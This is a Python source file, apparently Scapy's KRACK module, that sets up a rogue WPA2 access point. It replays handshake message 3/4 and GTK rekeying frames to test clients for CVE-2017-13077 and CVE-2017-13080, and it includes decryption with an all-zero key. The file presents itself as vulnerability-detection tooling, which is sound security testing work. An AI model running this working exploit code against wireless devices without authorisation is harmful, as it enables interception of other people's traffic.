esp32_bluetooth_classic_sni.../libs/scapy/modules/krack/automaton.py

896 lines
31 KiB
Python
Raw Normal View History

import hmac
import hashlib
from itertools import count
import struct
import time
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.backends import default_backend
from scapy.automaton import ATMT, Automaton
from scapy.base_classes import Net
from scapy.config import conf
from scapy.compat import raw, chb
from scapy.consts import WINDOWS
from scapy.error import log_runtime, Scapy_Exception
from scapy.layers.dot11 import RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp, \
Dot11Auth, Dot11Beacon, Dot11Elt, Dot11EltRates, Dot11EltRSN, \
Dot11ProbeReq, Dot11ProbeResp, RSNCipherSuite, AKMSuite
from scapy.layers.eap import EAPOL
from scapy.layers.l2 import ARP, LLC, SNAP, Ether
from scapy.layers.dhcp import DHCP_am
from scapy.packet import Raw
from scapy.utils import hexdump, mac2str
from scapy.volatile import RandBin
from scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \
build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \
customPRF512, ARC4_encrypt
class DHCPOverWPA(DHCP_am):
"""Wrapper over DHCP_am to send and recv inside a WPA channel"""
def __init__(self, send_func, *args, **kwargs):
super(DHCPOverWPA, self).__init__(*args, **kwargs)
self.send_function = send_func
def sniff(self, *args, **kwargs):
# Do not sniff, use a direct call to 'replay(pkt)' instead
return
class KrackAP(Automaton):
"""Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in:
"Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2"
Example of use:
KrackAP(
iface="mon0", # A monitor interface
ap_mac='11:22:33:44:55:66', # MAC to use
ssid="TEST_KRACK", # SSID
passphrase="testtest", # Associated passphrase
).run()
Then, on the target device, connect to "TEST_KRACK" using "testtest" as the
passphrase.
The output logs will indicate if one of the CVE have been triggered.
"""
# Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not # noqa: E501
# be detected the first time. Several attempt implies the client has been
# likely patched
ARP_MAX_RETRY = 50
def __init__(self, *args, **kargs):
kargs.setdefault("ll", conf.L2socket)
kargs.setdefault("monitor", True)
super(KrackAP, self).__init__(*args, **kargs)
def parse_args(self, ap_mac, ssid, passphrase,
channel=None,
# KRACK attack options
double_3handshake=True,
encrypt_3handshake=True,
wait_3handshake=0,
double_gtk_refresh=True,
arp_target_ip=None,
arp_source_ip=None,
wait_gtk=10,
**kwargs):
"""
Mandatory arguments:
@iface: interface to use (must be in monitor mode)
@ap_mac: AP's MAC
@ssid: AP's SSID
@passphrase: AP's Passphrase (min 8 char.)
Optional arguments:
@channel: used by the interface. Default 6, autodetected on windows
Krack attacks options:
- Msg 3/4 handshake replay:
double_3handshake: double the 3/4 handshake message
encrypt_3handshake: encrypt the second 3/4 handshake message
wait_3handshake: time to wait (in sec.) before sending the second 3/4
- double GTK rekeying:
double_gtk_refresh: double the 1/2 GTK rekeying message
wait_gtk: time to wait (in sec.) before sending the GTK rekeying
arp_target_ip: Client IP to use in ARP req. (to detect attack success)
If None, use a DHCP server
arp_source_ip: Server IP to use in ARP req. (to detect attack success)
If None, use the DHCP server gateway address
"""
super(KrackAP, self).parse_args(**kwargs)
# Main AP options
self.mac = ap_mac
self.ssid = ssid
self.passphrase = passphrase
if channel is None:
if WINDOWS:
try:
channel = kwargs.get("iface", conf.iface).channel()
except (Scapy_Exception, AttributeError):
channel = 6
else:
channel = 6
self.channel = channel
# Internal structures
self.last_iv = None
self.client = None
self.seq_num = count()
self.replay_counter = count()
self.time_handshake_end = None
self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa,
pool=Net("192.168.42.128/25"),
network="192.168.42.0/24",
gw="192.168.42.1")
self.arp_sent = []
self.arp_to_send = 0
self.arp_retry = 0
# Bit 0: 3way handshake sent
# Bit 1: GTK rekeying sent
# Bit 2: ARP response obtained
self.krack_state = 0
# Krack options
self.double_3handshake = double_3handshake
self.encrypt_3handshake = encrypt_3handshake
self.wait_3handshake = wait_3handshake
self.double_gtk_refresh = double_gtk_refresh
self.arp_target_ip = arp_target_ip
if arp_source_ip is None:
# Use the DHCP server Gateway address
arp_source_ip = self.dhcp_server.gw
self.arp_source_ip = arp_source_ip
self.wait_gtk = wait_gtk
# May take several seconds
self.install_PMK()
def run(self, *args, **kwargs):
log_runtime.warning("AP started with ESSID: %s, BSSID: %s",
self.ssid, self.mac)
super(KrackAP, self).run(*args, **kwargs)
# Key utils
@staticmethod
def gen_nonce(size):
"""Return a nonce of @size element of random bytes as a string"""
return raw(RandBin(size))
def install_PMK(self):
"""Compute and install the PMK"""
self.pmk = PBKDF2HMAC(
algorithm=hashes.SHA1(),
length=32,
salt=self.ssid.encode(),
iterations=4096,
backend=default_backend(),
).derive(self.passphrase.encode())
def install_unicast_keys(self, client_nonce):
"""Use the client nonce @client_nonce to compute and install
PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP)
"""
pmk = self.pmk
anonce = self.anonce
snonce = client_nonce
amac = mac2str(self.mac)
smac = mac2str(self.client)
# Compute PTK
self.ptk = customPRF512(pmk, amac, smac, anonce, snonce)
# Extract derivated keys
self.kck = self.ptk[:16]
self.kek = self.ptk[16:32]
self.tk = self.ptk[32:48]
self.mic_ap_to_sta = self.ptk[48:56]
self.mic_sta_to_ap = self.ptk[56:64]
# Reset IV
self.client_iv = count()
def install_GTK(self):
"""Compute a new GTK and install it alongs
MIC (AP -> Group = broadcast + multicast)
"""
# Compute GTK
self.gtk_full = self.gen_nonce(32)
self.gtk = self.gtk_full[:16]
# Extract derivated keys
self.mic_ap_to_group = self.gtk_full[16:24]
# Reset IV
self.group_iv = count()
# Packet utils
def build_ap_info_pkt(self, layer_cls, dest):
"""Build a packet with info describing the current AP
For beacon / proberesp use
"""
return RadioTap() \
/ Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \
/ layer_cls(timestamp=0, beacon_interval=100,
cap='ESS+privacy') \
/ Dot11Elt(ID="SSID", info=self.ssid) \
/ Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) \
/ Dot11Elt(ID="DSset", info=chb(self.channel)) \
/ Dot11EltRSN(group_cipher_suite=RSNCipherSuite(cipher=0x2),
pairwise_cipher_suites=[RSNCipherSuite(cipher=0x2)],
akm_suites=[AKMSuite(suite=0x2)])
@staticmethod
def build_EAPOL_Key_8021X2004(
key_information,
replay_counter,
nonce,
data=None,
key_mic=None,
key_data_encrypt=None,
key_rsc=0,
key_id=0,
key_descriptor_type=2, # EAPOL RSN Key
):
pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key")
key_iv = KrackAP.gen_nonce(16)
assert key_rsc == 0 # Other values unsupported
assert key_id == 0 # Other values unsupported
payload = b"".join([
chb(key_descriptor_type),
struct.pack(">H", key_information),
b'\x00\x20', # Key length
struct.pack(">Q", replay_counter),
nonce,
key_iv,
struct.pack(">Q", key_rsc),
struct.pack(">Q", key_id),
])
# MIC field is set to 0's during MIC computation
offset_MIC = len(payload)
payload += b'\x00' * 0x10
if data is None and key_mic is None and key_data_encrypt is None:
# If key is unknown and there is no data, no MIC is needed
# Example: handshake 1/4
payload += b'\x00' * 2 # Length
return pkt / Raw(load=payload)
assert data is not None
assert key_mic is not None
assert key_data_encrypt is not None
# Skip 256 first bytes
# REF: 802.11i 8.5.2
# Key Descriptor Version 1:
# ...
# No padding shall be used. The encryption key is generated by
# concatenating the EAPOL-Key IV field and the KEK. The first 256 octets # noqa: E501
# of the RC4 key stream shall be discarded following RC4 stream cipher
# initialization with the KEK, and encryption begins using the 257th key # noqa: E501
# stream octet.
enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256)
payload += struct.pack(">H", len(data))
payload += enc_data
# Compute MIC and set at the right place
temp_mic = pkt.copy()
temp_mic /= Raw(load=payload)
to_mic = raw(temp_mic[EAPOL])
mic = hmac.new(key_mic, to_mic, hashlib.md5).digest()
final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):] # noqa: E501
assert len(final_payload) == len(payload)
return pkt / Raw(load=final_payload)
def build_GTK_KDE(self):
"""Build the Key Data Encapsulation for GTK
KeyID: 0
Ref: 802.11i p81
"""
return b''.join([
b'\xdd', # Type KDE
chb(len(self.gtk_full) + 6),
b'\x00\x0f\xac', # OUI
b'\x01', # GTK KDE
b'\x00\x00', # KeyID - Tx - Reserved x2
self.gtk_full,
])
def send_wpa_enc(self, data, iv, seqnum, dest, mic_key,
key_idx=0, additionnal_flag=["from-DS"],
encrypt_key=None):
"""Send an encrypted packet with content @data, using IV @iv,
sequence number @seqnum, MIC key @mic_key
"""
if encrypt_key is None:
encrypt_key = self.tk
rep = RadioTap()
rep /= Dot11(
addr1=dest,
addr2=self.mac,
addr3=self.mac,
FCfield="+".join(['protected'] + additionnal_flag),
SC=(next(self.seq_num) << 4),
subtype=0,
type="Data",
)
# Assume packet is send by our AP -> use self.mac as source
# Encapsule in TKIP with MIC Michael and ICV
data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest)
# Header TKIP + payload
rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key))
self.send(rep)
return rep
def send_wpa_to_client(self, data, **kwargs):
kwargs.setdefault("encrypt_key", self.tk)
return self.send_wpa_enc(data, next(self.client_iv),
next(self.seq_num), self.client,
self.mic_ap_to_sta, **kwargs)
def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs):
kwargs.setdefault("encrypt_key", self.gtk)
return self.send_wpa_enc(data, next(self.group_iv),
next(self.seq_num), dest,
self.mic_ap_to_group, **kwargs)
def send_ether_over_wpa(self, pkt, **kwargs):
"""Send an Ethernet packet using the WPA channel
Extra arguments will be ignored, and are just left for compatibility
"""
payload = LLC() / SNAP() / pkt[Ether].payload
dest = pkt.dst
if dest == "ff:ff:ff:ff:ff:ff":
self.send_wpa_to_group(payload, dest)
else:
assert dest == self.client
self.send_wpa_to_client(payload)
def deal_common_pkt(self, pkt):
# Send to DHCP server
# LLC / SNAP to Ether
if SNAP in pkt:
ether_pkt = Ether(src=self.client, dst=self.mac) / pkt[SNAP].payload # noqa: E501
self.dhcp_server.reply(ether_pkt)
# If an ARP request is made, extract client IP and answer
if ARP in pkt and \
pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw:
if self.arp_target_ip is None:
self.arp_target_ip = pkt[ARP].psrc
log_runtime.info("Detected IP: %s", self.arp_target_ip)
# Reply
ARP_ans = LLC() / SNAP() / ARP(
op="is-at",
psrc=self.arp_source_ip,
pdst=self.arp_target_ip,
hwsrc=self.mac,
hwdst=self.client,
)
self.send_wpa_to_client(ARP_ans)
# States
@ATMT.state(initial=True)
def WAIT_AUTH_REQUEST(self):
log_runtime.debug("State WAIT_AUTH_REQUEST")
@ATMT.state()
def AUTH_RESPONSE_SENT(self):
log_runtime.debug("State AUTH_RESPONSE_SENT")
@ATMT.state()
def ASSOC_RESPONSE_SENT(self):
log_runtime.debug("State ASSOC_RESPONSE_SENT")
@ATMT.state()
def WPA_HANDSHAKE_STEP_1_SENT(self):
log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT")
@ATMT.state()
def WPA_HANDSHAKE_STEP_3_SENT(self):
log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT")
@ATMT.state()
def KRACK_DISPATCHER(self):
log_runtime.debug("State KRACK_DISPATCHER")
@ATMT.state()
def ANALYZE_DATA(self):
log_runtime.debug("State ANALYZE_DATA")
@ATMT.timeout(ANALYZE_DATA, 1)
def timeout_analyze_data(self):
raise self.KRACK_DISPATCHER()
@ATMT.state()
def RENEW_GTK(self):
log_runtime.debug("State RENEW_GTK")
@ATMT.state()
def WAIT_GTK_ACCEPT(self):
log_runtime.debug("State WAIT_GTK_ACCEPT")
@ATMT.state()
def WAIT_ARP_REPLIES(self):
log_runtime.debug("State WAIT_ARP_REPLIES")
@ATMT.state(final=1)
def EXIT(self):
log_runtime.debug("State EXIT")
@ATMT.timeout(WAIT_GTK_ACCEPT, 1)
def timeout_wait_gtk_accept(self):
raise self.RENEW_GTK()
@ATMT.timeout(WAIT_AUTH_REQUEST, 0.1)
def timeout_waiting(self):
raise self.WAIT_AUTH_REQUEST()
@ATMT.action(timeout_waiting)
def send_beacon(self):
log_runtime.debug("Send a beacon")
rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff")
self.send(rep)
@ATMT.receive_condition(WAIT_AUTH_REQUEST)
def probe_request_received(self, pkt):
# Avoid packet from other interfaces
if RadioTap not in pkt:
return
if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
raise self.WAIT_AUTH_REQUEST().action_parameters(pkt)
@ATMT.action(probe_request_received)
def send_probe_response(self, pkt):
rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2)
self.send(rep)
@ATMT.receive_condition(WAIT_AUTH_REQUEST)
def authent_received(self, pkt):
# Avoid packet from other interfaces
if RadioTap not in pkt:
return
if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac:
raise self.AUTH_RESPONSE_SENT().action_parameters(pkt)
@ATMT.action(authent_received)
def send_auth_response(self, pkt):
# Save client MAC for later
self.client = pkt.addr2
log_runtime.warning("Client %s connected!", self.client)
# Launch DHCP Server
self.dhcp_server.run()
rep = RadioTap()
rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo,
status=pkt[Dot11Auth].status)
self.send(rep)
@ATMT.receive_condition(AUTH_RESPONSE_SENT)
def assoc_received(self, pkt):
if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt)
@ATMT.action(assoc_received)
def send_assoc_response(self, pkt):
# Get RSN info
temp_pkt = pkt[Dot11Elt::{"ID": 48}].copy()
temp_pkt.remove_payload()
self.RSN = raw(temp_pkt)
# Avoid 802.11w, etc. (deactivate RSN capabilities)
self.RSN = self.RSN[:-2] + b"\x00\x00"
rep = RadioTap()
rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
rep /= Dot11AssoResp()
rep /= Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36])
self.send(rep)
@ATMT.condition(ASSOC_RESPONSE_SENT)
def assoc_sent(self):
raise self.WPA_HANDSHAKE_STEP_1_SENT()
@ATMT.action(assoc_sent)
def send_wpa_handshake_1(self):
self.anonce = self.gen_nonce(32)
rep = RadioTap()
rep /= Dot11(
addr1=self.client,
addr2=self.mac,
addr3=self.mac,
FCfield='from-DS',
SC=(next(self.seq_num) << 4),
)
rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
rep /= self.build_EAPOL_Key_8021X2004(
key_information=0x89,
replay_counter=next(self.replay_counter),
nonce=self.anonce,
)
self.send(rep)
@ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT)
def wpa_handshake_1_sent(self, pkt):
# Avoid packet from other interfaces
if RadioTap not in pkt:
return
if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
pkt[EAPOL].load[1:2] == b"\x01":
# Key MIC: set, Secure / Error / Request / Encrypted / SMK
# message: not set
raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt)
@ATMT.action(wpa_handshake_1_sent)
def send_wpa_handshake_3(self, pkt):
# Both nonce have been exchanged, install keys
client_nonce = pkt[EAPOL].load[13:13 + 0x20]
self.install_unicast_keys(client_nonce)
# Check client MIC
# Data: full message with MIC place replaced by 0s
# https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python
client_mic = pkt[EAPOL].load[77:77 + 16]
client_data = raw(pkt[EAPOL]).replace(client_mic, b"\x00" * len(client_mic)) # noqa: E501
assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic # noqa: E501
rep = RadioTap()
rep /= Dot11(
addr1=self.client,
addr2=self.mac,
addr3=self.mac,
FCfield='from-DS',
SC=(next(self.seq_num) << 4),
)
rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
self.install_GTK()
data = self.RSN
data += self.build_GTK_KDE()
eap = self.build_EAPOL_Key_8021X2004(
key_information=0x13c9,
replay_counter=next(self.replay_counter),
nonce=self.anonce,
data=data,
key_mic=self.kck,
key_data_encrypt=self.kek,
)
self.send(rep / eap)
@ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT)
def wpa_handshake_3_sent(self, pkt):
# Avoid packet from other interfaces
if RadioTap not in pkt:
return
if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
pkt[EAPOL].load[1:3] == b"\x03\x09":
self.time_handshake_end = time.time()
raise self.KRACK_DISPATCHER()
@ATMT.condition(KRACK_DISPATCHER)
def krack_dispatch(self):
now = time.time()
# Handshake 3/4 replay
if self.double_3handshake and (self.krack_state & 1 == 0) and \
(now - self.time_handshake_end) > self.wait_3handshake:
log_runtime.info("Trying to trigger CVE-2017-13077")
raise self.ANALYZE_DATA().action_parameters(send_3handshake=True)
# GTK rekeying
if (self.krack_state & 2 == 0) and \
(now - self.time_handshake_end) > self.wait_gtk:
raise self.ANALYZE_DATA().action_parameters(send_gtk=True)
# Fallback in data analysis
raise self.ANALYZE_DATA().action_parameters()
@ATMT.action(krack_dispatch)
def krack_proceed(self, send_3handshake=False, send_gtk=False):
if send_3handshake:
rep = RadioTap()
rep /= Dot11(
addr1=self.client,
addr2=self.mac,
addr3=self.mac,
FCfield='from-DS',
SC=(next(self.seq_num) << 4),
subtype=0,
type="Data",
)
rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
data = self.RSN
data += self.build_GTK_KDE()
eap_2 = self.build_EAPOL_Key_8021X2004(
# Key information 0x13c9:
# ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure, # noqa: E501
# Encrypted, SMK
key_information=0x13c9,
replay_counter=next(self.replay_counter),
nonce=self.anonce,
data=data,
key_mic=self.kck,
key_data_encrypt=self.kek,
)
rep /= eap_2
if self.encrypt_3handshake:
self.send_wpa_to_client(rep[LLC])
else:
self.send(rep)
self.krack_state |= 1
if send_gtk:
self.krack_state |= 2
# Renew the GTK
self.install_GTK()
raise self.RENEW_GTK()
@ATMT.receive_condition(ANALYZE_DATA)
def get_data(self, pkt):
# Avoid packet from other interfaces
if RadioTap not in pkt:
return
# Skip retries
if pkt[Dot11].FCfield.retry:
return
# Skip unencrypted frames (TKIP rely on encrypted packets)
if not pkt[Dot11].FCfield.protected:
return
# Dot11.type 2: Data
if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
# Do not check pkt.addr3, frame can be broadcast
raise self.KRACK_DISPATCHER().action_parameters(pkt)
@ATMT.action(get_data)
def extract_iv(self, pkt):
# Get IV
TSC, _, _ = parse_TKIP_hdr(pkt)
iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \
(TSC[4] << 32) | (TSC[5] << 40)
log_runtime.info("Got a packet with IV: %s", hex(iv))
if self.last_iv is None:
self.last_iv = iv
else:
if iv <= self.last_iv:
log_runtime.warning("IV re-use!! Client seems to be "
"vulnerable to handshake 3/4 replay "
"(CVE-2017-13077)"
)
data_clear = None
# Normal decoding
data = parse_data_pkt(pkt, self.tk)
try:
data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
pkt.addr3)
except (ICVError, MICError):
pass
# Decoding with a 0's TK
if data_clear is None:
data = parse_data_pkt(pkt, b"\x00" * len(self.tk))
try:
mic_key = b"\x00" * len(self.mic_sta_to_ap)
data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3)
log_runtime.warning("Client has installed an all zero "
"encryption key (TK)!!")
except (ICVError, MICError):
pass
if data_clear is None:
log_runtime.warning("Unable to decode the packet, something went "
"wrong")
log_runtime.debug(hexdump(pkt, dump=True))
self.deal_common_pkt(pkt)
return
log_runtime.debug(hexdump(data_clear, dump=True))
pkt = LLC(data_clear)
log_runtime.debug(repr(pkt))
self.deal_common_pkt(pkt)
@ATMT.condition(RENEW_GTK)
def gtk_pkt_1(self):
raise self.WAIT_GTK_ACCEPT()
@ATMT.action(gtk_pkt_1)
def send_renew_gtk(self):
rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
data = self.build_GTK_KDE()
eap = self.build_EAPOL_Key_8021X2004(
# Key information 0x1381:
# ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted,
# SMK
key_information=0x1381,
replay_counter=next(self.replay_counter),
nonce=self.anonce,
data=data,
key_mic=self.kck,
key_data_encrypt=self.kek,
)
rep_to_enc /= eap
self.send_wpa_to_client(rep_to_enc)
@ATMT.receive_condition(WAIT_GTK_ACCEPT)
def get_gtk_2(self, pkt):
# Avoid packet from other interfaces
if RadioTap not in pkt:
return
# Skip retries
if pkt[Dot11].FCfield.retry:
return
# Skip unencrypted frames (TKIP rely on encrypted packets)
if not pkt[Dot11].FCfield.protected:
return
# Normal decoding
try:
data = parse_data_pkt(pkt, self.tk)
except ValueError:
return
try:
data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
pkt.addr3)
except (ICVError, MICError):
return
pkt_clear = LLC(data_clear)
if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \
pkt_clear[EAPOL].load[1:3] == b"\x03\x01":
raise self.WAIT_ARP_REPLIES()
@ATMT.action(get_gtk_2)
def send_arp_req(self):
if self.krack_state & 4 == 0:
# Set the address for future uses
self.arp_target_ip = self.dhcp_server.leases.get(self.client,
self.arp_target_ip) # noqa: E501
assert self.arp_target_ip is not None
# Send the first ARP requests, for control test
log_runtime.info("Send ARP who-was from '%s' to '%s'",
self.arp_source_ip,
self.arp_target_ip)
arp_pkt = self.send_wpa_to_group(
LLC() / SNAP() / ARP(op="who-has",
psrc=self.arp_source_ip,
pdst=self.arp_target_ip,
hwsrc=self.mac),
dest='ff:ff:ff:ff:ff:ff',
)
self.arp_sent.append(arp_pkt)
else:
if self.arp_to_send < len(self.arp_sent):
# Re-send the ARP requests already sent
self.send(self.arp_sent[self.arp_to_send])
self.arp_to_send += 1
else:
# Re-send GTK
self.arp_to_send = 0
self.arp_retry += 1
log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d",
self.arp_retry, self.ARP_MAX_RETRY)
if self.arp_retry > self.ARP_MAX_RETRY:
# We retries 100 times to send GTK, then already sent ARPs
log_runtime.warning("Client is likely not vulnerable to "
"CVE-2017-13080")
raise self.EXIT()
raise self.RENEW_GTK()
@ATMT.timeout(WAIT_ARP_REPLIES, 0.5)
def resend_arp_req(self):
self.send_arp_req()
raise self.WAIT_ARP_REPLIES()
@ATMT.receive_condition(WAIT_ARP_REPLIES)
def get_arp(self, pkt):
# Avoid packet from other interfaces
if RadioTap not in pkt:
return
# Skip retries
if pkt[Dot11].FCfield.retry:
return
# Skip unencrypted frames (TKIP rely on encrypted packets)
if not pkt[Dot11].FCfield.protected:
return
# Dot11.type 2: Data
if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
# Do not check pkt.addr3, frame can be broadcast
raise self.WAIT_ARP_REPLIES().action_parameters(pkt)
@ATMT.action(get_arp)
def check_arp_reply(self, pkt):
data = parse_data_pkt(pkt, self.tk)
try:
data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
pkt.addr3)
except (ICVError, MICError):
return
decoded_pkt = LLC(data_clear)
log_runtime.debug(hexdump(decoded_pkt, dump=True))
log_runtime.debug(repr(decoded_pkt))
self.deal_common_pkt(decoded_pkt)
if ARP not in decoded_pkt:
return
# ARP.op 2: is-at
if decoded_pkt[ARP].op == 2 and \
decoded_pkt[ARP].psrc == self.arp_target_ip and \
decoded_pkt[ARP].pdst == self.arp_source_ip:
# Got the expected ARP
if self.krack_state & 4 == 0:
# First time, normal behavior
log_runtime.info("Got ARP reply, this is normal")
self.krack_state |= 4
log_runtime.info("Trying to trigger CVE-2017-13080")
raise self.RENEW_GTK()
else:
# Second time, the packet has been accepted twice!
log_runtime.warning("Broadcast packet accepted twice!! "
"(CVE-2017-13080)")